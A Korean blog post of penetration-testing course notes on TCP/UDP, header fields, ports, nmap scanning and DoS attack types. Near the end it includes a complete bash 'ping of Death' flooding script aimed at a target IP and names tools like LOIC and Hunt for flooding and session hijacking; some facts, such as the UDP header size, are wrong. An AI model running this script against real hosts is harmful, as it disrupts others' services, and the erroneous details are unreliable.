본문 바로가기
모의해킹 침해대응 과정/본 과정

네트워크 이론_3 / day34~35

by 알거음슴 2021. 5. 13.

전송계층

1. TCP/UDP 

1) 특징

TCP (Transmission Control Protocal)

 인터넷상 컴퓨터들 사이에서 데이터를 메시지 형태로 전송되는 프로토콜이다. 

특징

 (1) 연결형 기반 서비스

 (2) 상태 기반 서비스

 (3) 신뢰 기반 서비스

 대표적인 서비스 : telnet, FTP, HTTP, ssh, SMTP, NFSv4 ...

 

UDP (User Datagram Protocol)

 인터넷상 컴퓨터들 사이에서 데이터를 메시지 형태로 교환될 때 제한된 서비스만을 제공하는 통신 프로토콜이다.

특징

 (1) 비연결형 서비스

 (2) 비상태 서비스

 (3) 비신뢰 서비스

대표적인 서비스 : DNS, SNMP, NTP, TFTP, DHCP ...

 

 

2) 동작 원리

TCP : 3 way handshake

Client --syn--> Server

Client <--syn,ack-- Server

Client --ack--> Server

Client <--통신--> Server

 연결형 기반 서비스 임으로 서버와 클라이언트가 최초 3번의 신호를 주고받음, 이에 3 way handshake 라고 불리우며 연결이 완료되어야만 통신을 진행하고 중간에 데이터가 유실될 경우 재전송을 진행하는 특징.

 

UDP : 

Server <--syn-- Client

Server --Ack--> Client

 비연결 기반 서비스임으로 클라이언트의 수신여부를 서버가 확인치 않음. 중간에 유실되거나 클라이언트가 수신을 못했다고 하더라도 통신은 종료된다.

 

 

3) Header

TCP header.

기본 헤더 : 20bytes
옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)


발신지 포트(Source Port, 16 bits)
송신 호스트 응용프로세스가 사용하는 번호


목적지 포트(Destnation Port, 16 bits)
수신 호스트 응용프로세스가 사용하는 번호


순차 번호(Sequence Number)
TCP 각 세그먼트의 첫번째 바이트에 부여되는 번호.
신뢰성 있는 데이터 전송을 위해 모든 바이트마다 일련 번호 부착.
32bits 필드로 실제 데이터 첫 번째 바이트에 부여된 번호. 32 bits 이므로 최대 4기가(2^32) 바이트 크기의 송신 데이터에 순서화된 일련번호를 붙일수 있음
초기 순차번호(ISN, Initial Sequence Number)
- TCP 연결설정 동안 난수발생기를 이용하여 초기순서번호(ISN)를 생성
- TCP 양방향이므로 각 방향 마다 다른 ISN 번호가 사용됨.



응답 확인 번호(Acknowledgement number, 32 bits)
수신한 세그먼트의 확인 응답을 위한 32bits 필드
세그먼트에 실린 데이터의 마지막 바이트의 순차 번호에 1을 더한 값.
- 수신하기를 기대하는 다음 바이트 번호 = (마지막 수신 성공 순서번호 + 1)



헤더 길이(Header Length, 4 bits)
TCP 헤더 길이를 나타내는 4bits 필드.
4바이트(32 비트) 단위로 표시. 따라서, TCP 헤더 길이는 총 60 바이트 이하
헤더의 길이가 20-60 이므로 5-12 사이의 값.


TCP 제어 플래그(TCP Control Flag, 6 bits)
각 필드 흐름제어, 종료, 데이터 전송 모드용 6bit 구성.
URN : 긴급 플래그(Urgent pointer), 긴급한 처리를 요하는 것을 알림.
- 송신측 상위계층이 긴급 데이터라고 하면, 긴급비트를 1로 설정하고 순서에 상관없이 먼저 송신됨, 긴급 데이터의 마지막 바이트 위치가 Urgent pointer로 가리켜짐

ACK : 응답(Acknowledgement) 플래그, 응답패킷에 모두 1로 세팅됨.
- 1로 세팅되면, 확인번호 유효함을 뜻함
- 0로 세팅되면, 확인번호 미포함(, 32비트 크기의 확인응답번호 필드 무시됨)
- SYN 세그먼트 전송 이후 세그먼트에는 항상 이 비트가 1로 세팅이 됨.

PSH : Push 플래그, 실제 데이터의 전송이 일어나고 있음을 표시.
- 가능한한 빨리 응용프로그램에 버퍼링된 데이터를 즉시 전달할것. 수신측은 버퍼가 찰 때까지 기다리지 않고 수신 즉시 어플리케이션에 전달.
- 서버측에서는 더이상 전송할 데이터가 없음을 나타내기도 함.

RST : Reset 플래그, 비정상적인 종료를 위한 플래그.
- 연결확립(ESTABLISHED)된 회선에 강제 리셋 요청.
- RST 플래그는 연결이 갑자기 종료되거나 연결 시도를 거부하는 데 사용된다.

SYN : 연결(Synchronize)요청 플래그, 정상적인 연결을 요청할 때 사용되는 플래그.
- TCP 연결 설정 초기화를 위한 순서번호의 동기화
연결요청: SYN=1, ACK=0
연결허락: SYN=1, ACK=1
연결설정: ACK=1

FIN : Finish 플래그, 정상적인 연결의 종료에 사용되는 플래그
- 송신기가 데이터 보내기를 끝마침
종결요청: FIN=1
종결응답: FIN=1, ACK=1

윈도우 크기(Window size, 16 bits)
응답 확인을 받기 전에 보낼 수 있는 데이터의 양을 뜻함.
윈도우 크기가 16bit이므로 최대 65535 Bytes(2^16)까지임.
흐름제어를 위해 사용하는 16비트 필드이며 TCP 흐름제어를 위해 통신의 상대편에게 자신의 버퍼 여유용량 크기를 지속적으로 통보하여 주는 기능을 함.
수신측에 의해 능동적으로 흐름제어를 수행하게 됨.


검사합(Checksum, 16 bits)
TCP 세그먼트 변형 여부 확인
IP와 달리 전체 세그먼트의 변형 여부를 나타낸다.
실제 헤더 이외에도 발신, 수신 IP 주소 및 프로토콜 ID등을 추가하여 체크섬을 계산함.
체크섬 계상 대상: (가상 헤더 + 실제 헤더 + 데이터 + 패딩)

가상 헤더: 발신 IP + 수신 IP + zero(8bits) + 프로토콜 ID + UDP/TCP 길이
실제 헤더: 실제 TCP/UDP 헤더

긴급포인터(Urgent Pointer, 16 bits)
세그먼트가 긴급 데이터를 포함하고 있을 때.
제어 플래그가 1로 설정시 16비트 필드값과 순차번호를 더하면 긴급 데이터 바이트 번호, 위치를 얻을 수 있음.
TCP 세그먼트에 포함된 긴급 데이터의 마지막 바이트에 대한 일련번호.
- 현재 일련번호(sequence number)로 부터 긴급 데이터까지의 바이트 오프셋(offset).
- 해당 세그먼트의 일련번호에 urgent point 값을 더해 긴급 데이터의 끝을 알수 있음.



옵션(Options)
최대 40바이트까지 옵션 데이터 포함 가능.
TCP MSS 옵션을 협상하거나, 타임스탬프 옵션 정의 등

 

UDP

- 기본 헤더 : 20bytes
- 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
- IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)


발신 포트(Source Port, 16 bits)
송신 호스트 응용프로세스가 사용하는 번호


수신 포트(Destnation Port, 16 bits)
수신 호스트 응용프로세스가 사용하는 번호


패킷 전체 길이(Packet Total Length, 16bits)
바이트 단위의 길이. 최소값 8(헤더만 포함될 때)


검사합(Checksum, 16 bits)
선택 항목. 체크섬 값이 0이면 수신측은 체크섬 계산 안함

 

4) Port Number

포트(Port) = 서비스(Service) 인터넷이나 기타 다른 네트워크 메시지가 서버에 도착하였을때, 전달되어야할 특정 프로세스를 인식하기 위한 방법이다. 일부 서비스들에는 인습적으로 영구적인 포트번호들이 할당되어있다 

 (1) 포트 종류 포트 번호

----------------------------------------------------------

 The Well-Known Ports(잘 알려진 포트) :  0 - 1023

 The Registered Ports(새로운 서비스) :  1024 - 49151

 The Dynamic and/or Private Ports. 49152 - 65535

----------------------------------------------------------

[참고] 리눅스에서 포트의 대한 확인.

(전체 포트) cat /etc/services

(사용중 포트) nmap localhost 

(사용중 포트) netstat -antp ( t=tcp u=udp )

 

주요 포트

Services Port Services Port
FTP data TCP/20 FTP control TCP/21
SSH / SCP / SFTP TCP/22 Telnet TCP/23
SMTP TCP/25 DNS name queries UDP/53
DNS zone Transfers TCP/53 TFTP UDP/69
HTTP TCP/80 POP3 TCP/110
SNMP UDP/161 NetBiOS name TCP/137
NetBIOS datagram TCP/138 NetBIOS session TCP/139
IMAP4 TCP/143 HTTPS TCP/443
SMTP TCP/465 IPsec (for VPN) UDP/500
LDAP/SSL(or)TLS TCP/636 TMAP SSL/TLS TCP/993
POP SSL/TLS TCP/995 Remote Desktop rotocol(RDP) TCP,UDP/3389

DB 리스너 포트 

DBname Port DBname Port
MySQL TCP/3306 MS-SQL TCP/1443
Oracle TCP/1521 PostgreSQL TCP/5432
MariaDB TCP/3306 IBM DB2 TCP/50090

 

[실습] 포트 번호 실습 (telnet, ftp)

* nmap CMD 사용법 

nmap 192.168.20.201 ( tcp port scan)
nmap -p 21 19/2.168.20.201 ( tcp port 21 scan )
nmap -sU 192.168.20.201 ( udp port scan
nmap -sU -p21 192.168.20.201 ( udp port 21 scan )

[실습] 포트를 열어줘!

서버측 : FTP service 를 열어달라 -> 서비스 enable 해달라

네트워크 장비(보안)측 : FTP service 를 열어달라 -> FTP prot, service를 방화벽에 등록

[실습] 자신의 서버 포트 점검

 * Linux : nmap(TUI), xnmap(GUI) / windows : C:windows/system32/device/etc/hosts 파일점검, zenmap

[실습] Flag 분석

 * TCP Three-way handshake (Syn-Syn/Ack-Ack)

 * TCP Four-way handshake (Fin/Ack-Ack, Fin/Ack-Ack)

 * RST/ACK Flag (Syn-RSA/Ack)

[실습] Telnet 패킷 분석

[실습] FTP 패킷 분석

 * TXT, ZIP, EXE 파일 추출 (wireshack)

[실습] WEB 패킷 분석

 * 요청시 3way 후 세션을 끊음, 이후 추가 요청시 3way 후 세션을 끊음

 * HTTP / HTTPS 패킷분석 : 복호화.

[실습] Samba 패킷 분석

[실습] ssh 패킷 분석

[실습] nslookup 패킷분석

[실습] ping이 안되는 사이트의 대한 hping3 CMD 사용하기.

 * hping3 사용법 : hping3 --help 참조.

- ICMP 뿐 아닌 다양한 옵션으로 ping test 를 진행하는 CMD

 

 

DDoS

많은양의 트레픽을 발생시켜 서비스를 거부시키는 (down) 공격.

 

1) DoS 공격 종류

 LAND Attack : source 주소 와 Destination 주소 를 동일하게 하여 지속적으로 본인이 본인에게 보내도록 하는 DoS 공격방식 

 Smurt Attack : 네트워크상 다른 주소인것 처럼 해서 여러명이 접속하는것 처럼 하는 DDoS 공격방식.

 

2) Flood Attack 

TCP SYN Flood : 공격자 IPspoofing 하고 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 공격 방법

UDP Flood : UDP BodyGarbage DataPadding 하여 공격하는 방법.

ICMP Smurfing : CMP 프로토콜과 IP Broadcast 주소를 이용한 공격 방법.

 

3) Sortware Attack

 ping of Death : ping 명령어를 이용하여 ICMP 패킷(Data)을 비 정상적으로 크게 만들어 공격하는 방법.

 TearDrop : 패킷을 겹치거나 또는 일정한 간격의 빠지게 전송하는 공격 방법.(주로 동일한 offset을 사용)

 

[실습] ping of Death 공격 프로그램 작성.

 * 최대 설정 가능 byte=60000정도

#!/bin/bash
trap 'pkill ping; exit 1' 2 3
if [ $# -ne 2 ] ; then
	echo "Usage: $0 <TargetIP> <AttackNum>"
	exit 1
fi
Target=$1
Num=$2
Total=0

echo "==== Attack Begine ==="
echo "Please wait ....      "
for Count in $(seq 1 $Num)
do
	ping -s 60000 $Target >/dev/null 2>&1 &
	echo "[+] Thead Start: $Count"
	sleep 5
	Total=$(($Total + 5*$Count))
done

for i in $(seq 1 86400)
do
	Total=$(expr $Total + 3)
	echo -ne "Attack Number: $Total\r"
	sleep 1
done
EOF

sleep 86400
trap 2 3

[실습] TCP SYN Flooding Attack

 * Syn Flooding 공격 대응방안

 1) Syn Cookie 기능 활성화 : Server가 응답(Syn/Ack)을 보낼 때 cookie값을 추가, Cookie 값의 대한 응답이 오지않을경우 차단하는 기능.

 2) 연결요청의 임계치를 설정 : IPtable 등 을 활용하여 동일 IP로 동일 Port 에 동일 연결갯수가 일정량 이상시 차단하는 기능.

 3) First Syn Drop : 첫번째 Syn는 무조건 Drop 한다, 클라이언트가 실제 존재하는지 확인하기 위한 수단.

 4) Backlog Queue 증가 : 임시적인방법이며, 여러 요청이 들어올시에는 큰 역할을 할 수 없다.

* Kailiuns : msfconsole Tool을 활용하여 진행한다. (모의해킹툴)

[실습] TCP Session Hijacking 

* Hunt tool 사용 세션을 가로채는 기술.

[실습] UDP Flooding Attack 

* loic tool 사용 

'모의해킹 침해대응 과정 > 본 과정' 카테고리의 다른 글

모의해킹 / day 40  (0) 2021.05.21
네트워크 이론_4 / day 35~36  (0) 2021.05.14
네트워크 이론_2 /day 32-33  (0) 2021.05.11
네트워크 이론_1 / day31  (0) 2021.05.10
쉘 프로그래밍(bash)_3 / day31  (0) 2021.05.10